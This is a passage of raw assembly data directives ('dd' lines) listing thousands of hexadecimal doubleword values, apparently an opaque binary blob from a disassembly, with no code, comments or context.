		dd 31214330h, 0AD7C9C7Dh, 3CEA8824h, 6654E303h,	0CF901829h
		dd 38C988FBh, 0FD50E963h, 0C630C751h, 0AED9DEF5h, 423028CCh
		dd 519E292Ch, 27FC03B0h, 0C9C09A11h, 8D067A98h,	0BA9B76C8h
		dd 0FCC30120h, 0A554EAC7h, 88308C80h, 60708851h, 4291100Bh
		dd 6207FDE5h, 2A4E351Eh, 0D5643999h, 952820h, 571C7304h
		dd 0C6589D3Bh, 9276D30Dh, 69E468A5h, 0BBF7301Eh, 0AF545EA0h
		dd 9CC5D400h, 0AD0F1BC8h, 9ECD0F6Fh, 0A067303Ch, 0E7312060h
		dd 67005BFCh, 2F88F133h, 43FD72h, 0A92A12A8h, 484190C1h
		dd 0A89239E2h, 0B0C55328h, 0AC9F9318h, 2A326872h, 12942119h
		dd 474976h, 592EC610h, 8C50F741h, 8D1F72A0h, 56C0781Dh
		dd 30C4E528h, 39A8A446h, 55C0BDF5h, 5CCAFA26h, 1E807990h
		dd 0A5934856h, 9EC630C0h, 3EB2E43Bh, 7318E55Eh,	655C18ACh
		dd 0F69B5512h, 2059CC44h, 1B8C844h, 1B9026C3h, 166A9C20h
		dd 147223B6h, 0B90E80BDh, 0F1E113CFh, 0EF90DDC4h, 0B0B186B8h
		dd 0A854D0A0h, 0FB588963h, 1DC885Ch, 12CC74D4h,	0FE23748h
		dd 20B20520h, 8371FF7Ch, 1C82A026h, 139A4109h, 0F09CE838h
		dd 0F128C192h, 202C5354h, 61502848h, 6052ACFCh,	0FCEA098Ch
		dd 8A04126Bh, 4262AC94h, 1894AAC0h, 7CCBD604h, 0F88A2809h
		dd 60060ADCh, 48CD0318h, 480F153Eh, 4921027h, 0CC82645Dh
		dd 0CB604928h, 40071608h, 529C2380h, 0C880FDC4h, 0C0DE3348h
		dd 727545E8h, 0AB033CA0h, 1C9D4AFBh, 966826EAh,	19FF0700h
		dd 312F039Ah, 0BE1DF8A0h, 4B8D44Dh, 19FBEC54h, 3396F088h
		dd 3028FC62h, 357C00C5h, 0EDD2CF3Fh, 47F2902h, 43287A79h
		dd 26FEC008h, 464715Ah,	0B0F82C1Eh, 72648084h, 602370Ah
		dd 0FD8385F2h, 1D08814Ah, 58928C24h, 0D3440094h, 6A485F96h
		dd 0D0D082E1h, 89EF1476h, 46C2F94h, 0AC90E11Eh,	0A051FC5Ch
		dd 3D5BFD58h, 0D0283165h, 0A6A900C8h, 4B951F2Bh, 0D56AEECAh
		dd 0B8696068h, 57F6E48h, 0FCE3CDB0h, 0B00C1044h, 70298F89h
		dd 69641401h, 6CA94181h, 7640209Fh, 0F9C31141h,	6894A898h
		dd 0FB89F022h, 94E91C00h, 0A069CB80h, 834402E8h, 86F505CEh
		dd 3048F8D8h, 0D87E29D8h, 87FDE980h, 24F2A612h,	8524D754h
		dd 1DDB39C9h, 89E0EC90h, 0F8A6EC28h, 5E011073h,	0ADB77985h
		dd 0B9F081AFh, 7258D305h, 542A5800h, 5026E829h,	872009C9h
		dd 41C028F4h, 1F04F92Ah, 3316F61h, 0BC7E55A3h, 0BBF72839h
		dd 0EC58603Ch, 0C4709354h, 0CC812618h, 8D1EA234h, 0D9C0ECD2h
		dd 28CF6B94h, 0C420EB4Bh, 0DBF2301Dh, 3BD6B940h, 2C4205F5h
		dd 897B4C55h, 0A4680048h, 2BEB60h, 67F051Bh, 54F43F31h
		dd 39AEE235h, 17CC3880h, 247D25h, 0E88F05A4h, 5520AA91h
		dd 28AB0333h, 0DCF83C2Fh, 90F4FF2Ah, 0CA94817Dh, 0CC40F6E5h
		dd 1452F4EBh, 0B4678C1Eh, 9429C500h, 6E74D938h,	3300DC98h
		dd 0C21B88BBh, 4E4ED01h
		dd 167E25B9h, 0EF84AA3Bh, 78ACD415h, 10D76C30h,	0FEBC4FE6h
		dd 5C5E00AEh, 55672FADh, 98C1AAE8h, 0C241712Eh,	21CEC980h
		dd 0F93F958Ah, 80790303h, 1231FDCFh, 612BC850h,	207B9754h
		dd 8C90FE00h, 0C751701h, 8D5DB657h, 0AA05A022h,	241D8538h
		dd 0CC2C83CCh, 815D75E7h, 0F094F510h, 0B80037C8h, 6DFCD8B3h
		dd 1031CBh, 0D19005C9h,	9D7206CFh, 0E8C85B28h, 0C0581E04h
		dd 1C90C9EDh, 0CC295DB1h, 5A19B90h, 9B3C7948h, 89119961h
		dd 9C8811B2h, 54E88000h, 4C214814h, 0F98FD3Fh, 451E38D9h
		dd 0BD5DFA78h, 0C760CE4h, 7FC3B079h, 0F1C41801h, 0FB4928B0h
		dd 0AFDFD0C4h, 0E813F8D5h, 0D0D37440h, 9187188h, 0B24D551Fh
		dd 16CB3418h, 0FDC18560h, 0BA135586h, 4860B904h, 1146A68h
		dd 2DDB75C4h, 6C48802Bh, 5DA55F1h, 2467878h, 5A7DC94Dh
		dd 0A86E49FCh, 0DB957619h, 54307D48h, 0B340229Eh, 4502E48h
		dd 634C48C2h, 0EC10F494h, 6DE71A84h, 6548910h, 0A814F530h
		dd 0D36C9EECh, 16C2040h, 3C3376D1h, 8011E02Ah, 3B6A79Ch
		dd 54E69794h, 0E9518F95h, 24CC40D8h, 4F00D5EBh,	0FB7240C7h
		dd 7D5B03h, 0C47CE9FCh,	584E788Eh, 0A1284819h, 0E0359EC8h
		dd 0E17A5043h, 188797D4h, 4191AEC5h, 0FC01377Ch, 0FD297BFEh
		dd 943CA472h, 49747A73h, 75545434h, 83C6D800h, 7AC8CC1Ch
		dd 0B07D0135h, 2F9940FCh, 0E379D180h, 10C4203Ch, 3782045h
		dd 0CEA826EAh, 32E07512h, 0C200D45Bh, 6D579D9Bh, 0F8DD2466h
		dd 0DF4B0E1Dh, 4CADD08Eh, 0E2080040h, 5F00A4ADh, 728C714Dh
		dd 3AF49918h, 29305026h, 0A3165478h, 0AF7D1C01h, 84F97553h
		dd 50F48882h, 4C805B05h, 9F8070FEh, 0C78C8100h,	1D51F3EAh
		dd 555301D3h, 0C8CDE727h, 0B0489C5Ch, 38D844CCh, 47420C1Dh
		dd 4182FABh, 0F4287850h, 755FBB06h, 10EB7Bh, 873E70FCh
		dd 667CA3A6h, 0C93F5418h, 1EA850h, 82453CE4h, 83F03A9Ch
		dd 70C6861Fh, 5DFD1A00h, 33775CBh, 9487275Ch, 0EBC1C949h
		dd 0FE10855Fh, 0A4168544h, 7ACAB805h, 9112A400h, 18758FD3h
		dd 80842840h, 0C1CF8071h, 0B1D686D4h, 0FA440799h, 0E061E967h
		dd 4F045489h, 0F662871Fh, 0AFF3B3C0h, 15454C83h, 0EC1B2AC8h
		dd 1E47B440h, 77CFD12h,	0C0537603h, 0A55C7532h,	335458C3h
		dd 0CE48194Eh, 0CD3130FAh, 0F08C5120h, 22ECC1C6h, 0FCF84104h
		dd 981EB691h, 3F1441AFh, 0D4F80108h, 795D53F1h,	4031C081h
		dd 0FF1F5420h, 0E281056h, 95AC22EEh, 933400F8h,	60028CA9h
		dd 782D0079h, 0F301C140h, 711E638Bh, 5657CDD5h,	32CEC405h
		dd 0BE7C940Fh, 0F3070F1h, 9C901802h, 54195E5Ch,	55106BF9h
		dd 296C40E6h, 0F7FCE858h, 0D2F31447h, 5D900081h, 5A04B157h
		dd 34009C36h, 0FA6EFC90h, 3CD46C3Ah, 46286D84h,	9F1C1408h
		dd 4874B8FFh, 21244479h, 9784528h, 6C022D6Ch, 30408BF6h
		dd 4907B57h, 5DBD0880h,	0F09BF480h, 0FB5B0495h,	806C671Ch
		dd 8CC0C764h, 2637FF00h, 0B64ED12Dh, 932A1F87h,	95D201A1h
		dd 4C432F5Eh, 3CA13ECCh, 0B902ED47h, 0A861A818h, 2854F8C2h
		dd 702903AEh, 7EBF1010h, 390271Eh, 384147CBh, 0E1CC3855h
		dd 9849C2DBh, 0F8CE0861h, 7CE5305Bh, 97CB7E18h,	54179C0Fh
		dd 21F43589h, 9951218h,	0B80002D4h, 0FE406027h,	205FAB00h
		dd 0C5D4FBC6h, 86C407CFh, 9962F41Eh, 402F4002h,	6F8F2087h
		dd 0D0EE4101h, 561DE8B5h, 75CDF304h, 8C97A471h,	0AC21CA50h
		dd 0E4C87CD8h, 13149AC5h, 84B826Eh, 0A10A7438h,	0EC4FC877h
		dd 127588F5h, 7183ED7Dh, 445A02BCh, 0C18C039Ch,	0ACA057A1h
		dd 4B285F84h, 6A3AF891h, 75070599h, 0E4057C63h,	0AC0A55C2h
		dd 754160C3h, 60BEAFBCh, 4010C451h, 0E8A546D4h,	10B378F3h
		dd 9443FBEAh, 4542423h,	19399D09h, 0DC416828h, 1300CB9Bh
		dd 0B926EF27h, 0CA005DBCh, 554D8FEDh, 5D841AF3h, 2012E0F6h
		dd 0E3D3083h, 53EC9806h, 3D187ADAh, 0C0002C9Bh,	0C55A5D44h
		dd 0E23E4E87h, 57058069h, 1D749D80h, 476C05FCh,	0C6D17Eh
		dd 0DEA38FDCh, 777F69E5h, 448C5B24h, 60423F80h,	19AF5794h
		dd 0D8FDE252h, 0ECC44095h, 0BA00A805h, 6E349D9Ah, 0BB69B0h
		dd 0FC874531h, 42112A5Eh, 5384C505h, 0D01FA3F6h, 0D50EBC90h
		dd 31C8592h, 0FFFB9BE9h, 0B3B15B8Bh, 39178806h,	0BD5507D4h
		dd 1000804h, 242C8BEFh,	5B1620E9h, 0E6ED8100h, 13FC959h
		dd 505D79EAh, 185219C2h, 4AF71FE9h, 1D1EF3B9h, 5F8C5770h
		dd 1489203Ch, 18C381E3h, 51DA307Dh, 0F460C259h,	31226F00h
		dd 68505AD0h, 2B7A06CFh, 8634FF5Dh, 3072820h, 68C8B70Fh
		dd 593116A4h, 0D3D6200Ch, 0E817C9Ch, 3E4F6619h,	5C17CB6Ch
		dd 0B30F0FF2h, 8A9C2404h, 0ED0117BFh, 4BA24146h, 0C795DFECh
		dd 73F9B754h, 0E0F3565h, 0E559C831h, 8E5F7255h,	0CB295FC7h
		dd 98EB81B0h, 0E6BE3E17h, 4C5BDE1Eh, 68E502C6h,	0A77CAA36h
		dd 74FF39C6h, 0E8B0498h, 87A4C481h, 9F9A8F6Fh, 63663AFEh
		dd 42EC810Eh, 82197320h, 4CB91076h, 5905CAD5h, 5C241487h
		dd 0E7E708h, 8A159E2Dh,	0E83EC131h, 4DF19805h, 79895032h
		dd 20C5A6E0h, 0B6881185h, 0DDA0565Ah, 668122B8h, 3EA17FA0h
		dd 4395C8B6h, 0A8658D1Ch, 0FF5E4A33h, 580E44B1h, 0C65450CDh
		dd 0F883585Fh, 93684088h, 2CE70C64h, 2469604h, 96CBC380h
		dd 0E7B13F84h, 0F6D9C901h, 0CBE8E9D1h, 0E3C16C00h, 0BFCB8108h
		dd 0AB13F7Bh, 0F5DA8A15h, 5DB9EE00h, 0F001DDD5h, 62B95E68h
		dd 50DA048h, 6E5930F6h,	90DAE461h, 0E81C89B2h, 581D06BBh
		dd 724B579Eh, 0E75B8B09h, 7D090F14h, 5343FF9Fh,	454EF6E9h
		dd 27E09044h, 5D10CC49h, 9C5CE392h, 33347C4Bh, 0FF271850h
		dd 73DC892h, 914AFF5Eh,	21CF51FCh, 8EEBF14Bh, 0E4F589B0h
		dd 0AA900B21h, 244066EEh, 490F44h, 628E5270h, 1CD0FE01h
		dd 0DBB64008h, 0DE09D4ABh, 385B5453h, 811241D4h, 0ECD0D858h
		dd 0BB532EC0h, 7B5C7C8Dh, 0E1E7314Dh, 20D5F716h, 6E7263A9h
		dd 0E8319A00h, 0E9C5015Dh, 465F6068h, 8107EDC1h, 3967F507h
		dd 0EA605EF6h, 4CD762BBh, 0E90C2C6Ch, 0C7C7029Eh, 405E6E48h
		dd 0FB6717CDh, 6692547Dh, 1A4606h, 529AB850h, 0D1255E96h
		dd 5DF1190Fh, 1B2949E9h, 0D155F36Dh, 1481678Fh,	0EB80F328h
		dd 56FD807Bh, 7AE9E689h, 0F1B2803Ch, 80EAC031h,	14947418h
		dd 3278FE33h, 0F710147Eh, 6C952A09h, 64C58180h,	2A61A31Ah
		dd 508DAFE9h, 0CA54325Ch, 48B0C6F2h, 0FF0620C7h, 5E1E1132h
		dd 6C37E48Fh, 18409AF2h, 53590366h, 0F82863B7h,	34DD78E1h
		dd 0F3EE56E0h, 57265C65h, 0B35F2609h, 1C77D92Fh, 0B2A80CD9h
		dd 0E2E91BADh, 0D1D0344Ch, 8824212Ch, 413A3AC6h, 0D3C329Eh
		dd 0FC68DCA8h, 1CFE5AF0h, 0E687AA0h, 89633C92h,	128BAE6h
		dd 51FA01D3h, 0CD53C188h, 5B3AD4CFh, 27875951h,	19827981h
		dd 31401409h, 0ABD0E6E9h, 0EE6548A5h, 83A0ED20h, 382E29Dh
		dd 4C822717h, 0F7026A44h, 29082D48h, 505E4740h,	8144E91Bh
		dd 4FEA18A1h, 24D23EEAh, 0AF605F9Ah, 81D7F76Fh,	0BDEC1DEFh
		dd 0BA92BE70h, 6D4725Eh, 0F181C0A0h, 7A2C1DA4h,	0BDB90F31h
		dd 0DE01F2C3h, 0E92CD619h, 79967CE3h, 700310F5h, 6CF6333Fh
		dd 0E90D0631h, 2C3F9731h, 0F7F4A5BFh, 9ACDF428h, 7AB03B0Ah
		dd 0E92E7F2h, 9B80005Fh, 0D1585634h, 935E03Bh, 80B0AC69h
		dd 0D50DF764h, 90017660h
		dd 580881B7h, 0D486A31h, 11C32E9h, 8D4159DDh, 0F0C3C1CBh
		dd 0E3CAFD38h, 8746CFC5h, 416320A7h, 2ED38839h,	0D0C2ED9h
		dd 90CFE756h, 2B6009E2h, 3B133DDBh, 3C87F219h, 5387D040h
		dd 0B95DEB01h, 6BAAB022h, 0B2108105h, 8AE9503Ah, 12FBE852h
		dd 1E342101h, 550A6CCAh, 495A5D54h, 0C2604E08h,	0AC016645h
		dd 0DDE3D830h, 685662D1h, 6B2559D5h, 46359004h,	612E329h
		dd 5CEC8787h, 4B52F6A0h, 86436BF9h, 0FE0B3412h,	10FB4104h
		dd 192B01DDh, 0D8F757E3h, 1006D760h, 0C87F0E9h,	8743BD68h
		dd 7759A3Ch, 4AB303D7h,	0D1351348h, 0C7890F14h,	0FFC07ED6h
		dd 310DB4BDh, 0E5C1265Bh, 53CD024Dh, 0A4871365h, 302418EBh
		dd 4AC7888Eh, 9308DFFDh, 4186200Eh, 836F08CFh, 55935898h
		dd 0F540A028h, 51F1A866h, 52E11689h, 76520BBAh,	0F8E71D02h
		dd 3212B907h, 3EF6E3D1h, 9CE0C11Eh, 306EB2F7h, 20B26448h
		dd 285A7686h, 0A82ECEEAh, 81F4C4B8h, 9DED4583h,	71EA130Fh
		dd 0B9511101h, 7420783Bh, 0AC6B25ECh, 5D6FF2D0h, 52038961h
		dd 0E1B472B6h, 7A7DF482h, 0FE881A5Fh, 4E4ED65Bh, 92C8F0E0h
		dd 0BAD01514h, 6CD3112h, 8170134Ch, 0BF578480h,	0F982DBB1h
		dd 0C8B4E95Fh, 536268AAh, 0A059EF5Ch, 0DFF75F09h, 550C5485h
		dd 642ED1ADh, 15021FC6h, 0C3428B5Fh, 1F209A4Ch,	0E1D15C0Eh
		dd 0BE5663F7h, 0A0794801h, 6384CF20h, 26EECF6h,	0B05D27Fh
		dd 0F6886B3Eh, 53486007h, 0FC33166h, 2EC0B73Eh,	37A6614Dh
		dd 24301008h, 5AE12475h, 0B07AC007h, 6CE91DACh,	0F754239Ah
		dd 0F3AA189Bh, 10C541AAh, 70250126h, 557BF32Bh,	39F79E40h
		dd 89461058h, 8F3710FDh, 5BDA010Bh, 0DEFC4580h,	2960F014h
		dd 5AD38912h, 6149A231h, 0B751850Fh, 540265B0h,	24838AC9h
		dd 98905FEAh, 722A2E17h, 0A7C59907h, 0C09E9EF7h, 141C46E5h
		dd 61A49023h, 734B1E03h, 0D5048087h, 75E9DAF7h,	215AB982h
		dd 504292B0h, 841FC6B3h, 1641AE06h, 0C897236Eh,	357CB9h
		dd 0BC38058h, 0C0B60F9Fh, 0A4875984h, 0D6B2559Ah, 27CB4591h
		dd 0E7E3573Fh, 0A34DEAE9h, 8073B5BEh, 0B02859EEh, 5B4DC0D9h
		dd 0E9E28952h, 47265E9h, 5EBE8099h, 58D05C01h, 2A165715h
		dd 0B9AED049h, 9643DE82h, 52E20ED0h, 0D6F75E03h, 50D785E9h
		dd 720025Eh, 41180D4Dh,	8002D5C1h, 7D749A95h, 1200DBF9h
		dd 29222FE7h, 0B05159CAh, 176406Dh, 1431F34Ch, 0B03E442Bh
		dd 0C3068B7h, 2BFCE9FDh, 0ED03F725h, 216FD17Ah,	5FCF23FAh
		dd 1468E388h, 21960C58h, 9DF3A389h, 0EE92ACBEh,	61DCC252h
		dd 220CD383h, 3458BD59h, 7ED55C52h, 680648F9h, 922CA025h
		dd 7A5D8063h, 9C15BF3Ah, 1F3F0324h, 4B0C127h, 0F3F6DBF7h
		dd 0E817BE07h, 0F47A53B2h, 7370DA02h, 0A84A6522h, 10F8032h
		dd 5B5E24F1h, 0DE8D8C31h, 0C58879Ch, 62D1C6F7h,	0A55FB938h
		dd 0EB918A16h, 0EB90312Ah, 1E219B09h, 8413C150h, 1C7E073h
		dd 343CB5FDh, 0A020840Bh, 0CA3980B1h, 99C284FDh, 0AA2D530h
		dd 0ECE8149Ch, 0EC168321h, 84FFEB0Bh, 0D4B7DDD1h, 1705357Bh
		dd 0CB60800Ah, 530B51B2h, 4B1AEB3h, 0A1A1F026h,	485968ECh
		dd 0CBD42362h, 5D506D10h, 68935031h, 10466F27h,	0FBCBE9E1h
		dd 36331090h, 0FC0D0631h, 0C99940Bh, 4B98E2D1h,	14E4F17h
		dd 7BB6BA01h, 34304489h, 0BB720F25h, 99331E1h, 0CEA502BBh
		dd 4116995Bh, 0AE71DA84h, 0F1896DD1h, 30FDA7E3h, 4BCB5B73h
		dd 53C2330Ch, 2D84E1E1h, 53089303h, 0A9680539h,	0CD988D5Ah
		dd 589376E5h, 29027D31h, 0D8E9163Ah, 1EA17AF7h,	989CC885h
		dd 0CE317720h, 0EF815907h, 71B7500Bh, 290ADEE3h, 0FE3BF7Bh
		dd 0B1ACD729h, 0E6078163h, 39A07C68h, 20CEE60h,	0BBD702B3h
		dd 0B632A605h, 4CAD8740h, 12BE826h, 4F5710h, 45B4BE53h
		dd 0B0B81785h, 3805C376h, 0F03CE948h, 9B0514D5h, 9685607Dh
		dd 85F548C1h, 2A20904h,	0F35F210h, 231533B9h, 9EBD02AAh
		dd 807E4F60h, 4E71F989h, 0D5F70F24h, 0F545EDD1h, 13D0C05Dh
		dd 0E912EE29h, 765E09C0h, 9250A7FEh, 53C804F1h,	0D41A1ADFh
		dd 7AB01675h, 585CB050h, 0FE770048h, 80D6F6CEh,	0BE16FEEh
		dd 6618610Ch, 10B1511Ch, 0F2950C34h, 60E9A12Ch,	9268656Bh
		dd 614CA242h, 26CF0285h, 402C135Ah, 7DA045ABh, 0FA893FE5h
		dd 0F4C214DAh, 921D6200h, 8EAC10Fh, 3AF28100h, 685C7022h
		dd 8C5A4802h, 65ECBEC0h, 813B6918h, 0A805BFC6h,	990EEF32h
		dd 2021F659h, 4A425EF2h, 61CD3468h, 393133Dh, 87672D11h
		dd 0FC72B013h, 58C6B740h, 7106EEC1h, 9AFCB84Eh,	0A0B19102h
		dd 59199A3h, 4411FD68h,	875E5449h, 802937B6h, 6DCD813Ah
		dd 1D5C6702h, 0C006EDC1h, 1727ABEDh, 845107Ah, 69284013h
		dd 197CC309h, 21AFD4BBh, 78F68E4h, 0EFBB1196h, 92EA85h
		dd 701DC306h, 0B0802714h, 4A350D38h, 15E8D329h,	41FA508h
		dd 4E77B317h, 631330Dh,	965C0D95h, 0C14CB828h, 0D23D785Eh
		dd 4CA4B43Ah, 0C62C0812h, 20189A66h, 5426C943h,	0A0E29D5Ah
		dd 2BE0216h, 36530A83h,	39270B30h, 30C025B0h, 20608E8h
		dd 660B290Ch, 685D0D68h, 24C6B114h, 2C4BC830h, 0DD011D43h
		dd 0A66885E8h, 9ADD980Eh, 0E7C78026h, 0AEC0A216h, 1791A68h
		dd 875E025Ch, 0FCD1F7CEh, 0D7B6DCEBh, 32C12BEh,	82EEB909h
		dd 0C452479Eh, 1422FEE4h, 8FDE02B0h, 6E2A8B05h,	748D001Ch
		dd 0E970B561h, 6B7B7930h, 7A3C3D8Bh, 0C0454D3Fh, 0A0C36629h
		dd 0B0D87983h, 28CB3220h, 0BB495B0Ch, 0E04CE33Dh, 0B102C8C2h
		dd 28FEE930h, 23452691h, 0CB0C22Eh, 9A86E1Ch, 4A3DE938h
		dd 6D68F823h, 58237AE0h, 48D8F71Ch, 1E3D0541h, 8E42938Eh
		dd 0BCC4D975h, 0B0C8609Ah, 0FEA41871h, 48D63BADh, 4735D9B0h
		dd 325C1333h, 0AFF2D5D0h, 154F3932h, 77A58EC3h,	0E33D6288h
		dd 0D3EE900h, 0FD050AC1h, 1F4CE71h, 72D51F0h, 0C00FD560h
		dd 80D9F625h, 0C0588DF1h, 23522471h, 0FF4B3E19h, 4639FC47h
		dd 9A68126Bh, 0BB103222h, 4C8655ABh, 2BB1B15Bh,	0B90C8366h
		dd 0E95685BEh, 716EB128h, 0DC5CC380h, 0CAE9A3AFh, 896071DCh
		dd 1B455457h, 5D9138AFh, 0BEB9056h, 71F627D6h, 0DD49D06h
		dd 0E9266092h, 0E54C686Ah, 403A4345h, 4DEF8B34h, 0C3060C69h
		dd 1EE91884h, 0AAC2174Eh, 0DA76D13h, 0A90CCE00h, 901A2BAh
		dd 0EE835AD6h, 6DFBAD02h, 7180CDD1h, 3125D76Eh,	5AAAA054h
		dd 0B468E78Bh, 58294C89h, 76F64FE6h, 8F0C5792h,	6813042h
		dd 5D4E4C31h, 4159264h,	34D2D001h, 5D1D698Bh, 7B02141h
		dd 38E55502h, 0C4E48B25h, 38664F2Bh, 2232E9E8h,	6CF00D82h
		dd 0C3803898h, 979A6E4h, 4E6FBA58h, 88D42075h, 14385A67h
		dd 0E1B6EB33h, 0D547DF7Ah, 0F3281760h, 9622DF66h, 790D810Bh
		dd 2D388313h, 0E71917A9h, 1CABFA3h, 0DD305834h,	42C5805Bh
		dd 4F507ABBh, 44C8BB1Fh, 0D8008EA8h, 0B63C055Bh, 28E9EB1Ch
		dd 44F2114h, 0FD398746h, 5578C701h, 62A2D72Fh, 80015F25h
		dd 0EACCD4C4h, 0F0E2E0F5h, 0AA20EBC2h, 0EA2295F8h, 630E5275h
		dd 895F5A57h, 60B9DAF7h, 0DFF27A8Ah, 46E909D1h,	0E6896240h
		dd 0C4FA63B4h, 78FE2056h, 0CB015D12h, 74234900h, 0F35905A4h
		dd 7DF8E0DEh, 7164096Eh, 920AEE9h, 0C1889C2Ch, 0D06049B1h
		dd 5E1BE9E1h, 4D02527h,	993D2198h, 10D76203h, 35242B95h
		dd 0D25C4F61h, 8EFF3718h
		dd 0D4C0A59Ah, 0C8259DC0h, 27556393h, 0D8A2D3B6h, 328A7160h
		dd 15092DF8h, 68E05102h, 0B91ED159h, 1CFE1947h,	4259CA81h
		dd 99535AE0h, 7DDF0206h, 7CF826BEh, 8720F53Dh, 8CE96202h
		dd 1C014C0Bh, 0BF9E6F19h, 0C9D91013h, 0A4CD31EAh, 0B50BD36Ch
		dd 0C07646E4h, 0BE56523Fh, 0B2004AF0h, 2EE68115h, 0A1590B09h
		dd 0EF2639FFh, 521F3F0Eh, 80916477h, 0EF78F451h, 81416500h
		dd 0AF73ABE9h, 40DD902Bh, 5800BF56h, 814FE86Dh,	1E7753CFh
		dd 0DAE96382h, 36846129h, 79C5B176h, 0C45CCF2Dh, 2A8E2596h
		dd 3874207Dh, 0EEF85076h, 9A4DE2CAh, 0F722BA2Ch, 9409B0FCh
		dd 0A208BD2Ch, 1D3249Ch, 3003E7C1h, 1F027AEDh, 41686FBBh
		dd 0C0D39B72h, 0F4F3DB36h, 8B009559h, 96791E2Dh, 0BEE91D17h
		dd 0D729EE80h, 2F3BBC5Ah, 74FA2210h, 0C0CA4AD6h, 77A25C25h
		dd 5209C4A9h, 31A3247Fh, 42026B5Ah, 1020DD7h, 184C6C1Ah
		dd 685FF75Bh, 68802B2Dh, 20674ADBh, 44A8B87Eh, 0E93E9D09h
		dd 28B42BCh, 2523A4ECh,	2C3B8BE7h, 0E9067483h, 58160588h
		dd 0F918EC46h, 0D631884Ch, 4AE987C4h, 0FB4DDEB8h, 1A5884D0h
		dd 8142D2D9h, 835EF11Dh, 163C04C1h, 22F1ED3h, 891DA35Bh
		dd 0EEB26804h, 1E2AA24Dh, 850894D8h, 0C1CC6308h, 0A8FEDE75h
		dd 0B2A09D1Ah, 80803B26h, 38F473EFh, 0F9A608C7h, 0B6F61561h
		dd 3012A16Ah, 0E8C1580Bh, 80250403h, 0A8789C63h, 3B376E65h
		dd 0B0803547h, 0E95543A7h, 0CDC43457h, 63C85FFEh, 4C229731h
		dd 0B801C3C2h, 11F4622Bh, 6C060E35h, 0CCA049C4h, 8977F02Ch
		dd 6858C705h, 2DE35FBBh, 3442CD25h, 441CC380h, 0B69113CAh
		dd 46801924h, 0C1063612h, 181E6E1h, 592D7EF1h, 0E3D1F714h
		dd 364FFE3h, 10000422h,	3171E674h, 0D8E9CE18h, 24A468A3h
		dd 808B478h, 540B6186h,	45EA045Ah, 0A9991594h, 310B9101h
		dd 116D2D2h, 2A931487h,	9E54EEE9h, 60FBE24h, 0A31BF21Dh
		dd 1EEBF955h, 8D04F24h,	8B07A333h, 0D0655217h, 23326F85h
		dd 2E2B7844h, 0C9E5FC46h, 78013909h, 0DCB8071Dh, 0F90E1B68h
		dd 0CF5BE347h, 0B060D376h, 126D2DBBh, 0A3CB2973h, 0EB810F0Fh
		dd 31868125h, 3861FB01h, 0BDE90800h, 0BBFC9951h, 82243E51h
		dd 0DE011F13h, 0D5C2D44Ah, 130EEA18h, 929CD189h, 8271A858h
		dd 1AC18F40h, 12322B1Dh, 0C78E85BEh, 56F18C37h,	181DF7FCh
		dd 0C14673Dh, 0AF266DF8h, 0C0014F0Fh, 218642E3h, 905050EEh
		dd 70FB28Ah, 0BD2BBFBAh, 0DBA14F66h, 3001F995h,	9A7BE948h
		dd 7B682DE1h, 2C24F37Ah, 0E28133E1h, 4E566BD5h,	41350C80h
		dd 94E949B3h, 0BF0037B6h, 32337429h, 3BEF48C1h,	0E902E702h
		dd 2F5C2D3Dh, 85371682h, 0A024632Eh, 0B05D411Bh, 87280657h
		dd 7A317350h, 804FE925h, 0FE36B28Dh, 0F28016C2h, 0D0D51616h
		dd 1468591Eh, 1E682A5Ah, 25A730E9h, 32B4F67Bh, 0C20BE30h
		dd 0B0692117h, 49B820DBh, 4077FF1Eh, 8A40F912h,	0E22DC801h
		dd 7D967009h, 7668F153h, 1C36CD4Ah, 375EEADDh, 926C0C29h
		dd 116DE9A0h, 9D02DCB1h, 8021E345h, 8E9EE483h, 0CA015CA7h
		dd 2602AF10h, 87163783h, 0C6B96F23h, 0A60D0C8Ah, 4DC8FB1Dh
		dd 8F55125Dh, 0E44F0B68h, 627DF0E6h, 6F767F5Dh,	8F620374h
		dd 44430981h, 4D2697C3h, 0A80891ACh, 0AB10182h,	606BC980h
		dd 281C1C90h, 0CBD358C1h, 0FB7F640Ch, 8F120FEAh, 0C46DC679h
		dd 4CB056A9h, 5846B820h, 0F2041258h, 803A645Eh,	5A243127h
		dd 80424D60h, 2CBA7D92h, 2E08D309h, 51AC0E85h, 927012E5h
		dd 1FC17922h, 0DC086078h, 35ED3A13h, 3FAC0B00h,	0B056FC3h
		dd 1AA81E61h, 0C224D382h, 0EC68EA60h, 308978B9h, 41C26AC3h
		dd 0E9E06151h, 252A5EB2h, 78B6A4C0h, 84D649h, 0BDA657F3h
		dd 955D53D1h, 0E9036981h, 7AA57C69h, 29DC896Fh,	248D5021h
		dd 0E80B5158h, 19D031CAh, 93AD022Bh, 286EE110h,	5C7F8334h
		dd 33D4AB3Bh, 0B94C2D20h, 0DA8C9EDEh, 4E742F02h, 85B3749h
		dd 0C208A648h, 60923ED7h, 9EEB0C0h, 0F9232964h,	459366E2h
		dd 8C665CBDh, 0C044675Bh, 622FA202h, 8CA35651h,	0B921F1ECh
		dd 62ED6605h, 1582C201h, 958003Eh, 6AB01C47h, 0F36B8F31h
		dd 80004D59h, 0FF0F9E2h, 26C5D549h, 282D6AF7h, 0C613ACEBh
		dd 0F0E60C96h, 0AD80403Ah, 2E6B3FFCh, 0F4AC51Ch, 8295401h
		dd 3464F879h, 0BB2171A5h, 3196072Ch, 928F5C3Fh,	215212A8h
		dd 0FB2CA5A6h, 251C17F0h, 58E28E53h, 0CC851809h, 98D9F73Eh
		dd 8D4B4F9Dh, 40DEDA9h,	0A3AB6380h, 0B055E8FDh,	2E154CBAh
		dd 5D22C78Eh, 7F84790Bh, 392BA1CCh, 550C10Fh, 0E230333Eh
		dd 0BE8AA61Dh, 2A6C27BAh, 2CE90CEDh, 6D6A0208h,	5B6BECD9h
		dd 9E0079Eh, 93E2D1C2h,	0B43A935Fh, 96993CE4h, 0BDD0010Ah
		dd 0AA805259h, 11A815DAh, 6EBCDDF7h, 516BC502h,	0EA8E82B0h
		dd 9B7805Dh, 121C420Fh,	0A40C62E9h, 48E0EE33h, 0BA9031F0h
		dd 245A895Ah, 4163736Ch, 4293BE9h, 0C43737C2h, 54C20B72h
		dd 60F654Bh, 890DF348h,	32E8CBFBh, 0C34DC041h, 149B0A60h
		dd 5BD9011Ch, 0C8215845h, 715B252h, 58F35DCFh, 8151609Ch
		dd 44334C6h, 0EEC16AF0h, 3C53AC02h, 0E6264AFAh,	5B5A5207h
		dd 73606809h, 0E9540798h, 93529230h, 337C22C6h,	3564430h
		dd 1D3C30CFh, 2913BB51h, 39095EF0h, 4A0D2E0h, 9455AAC1h
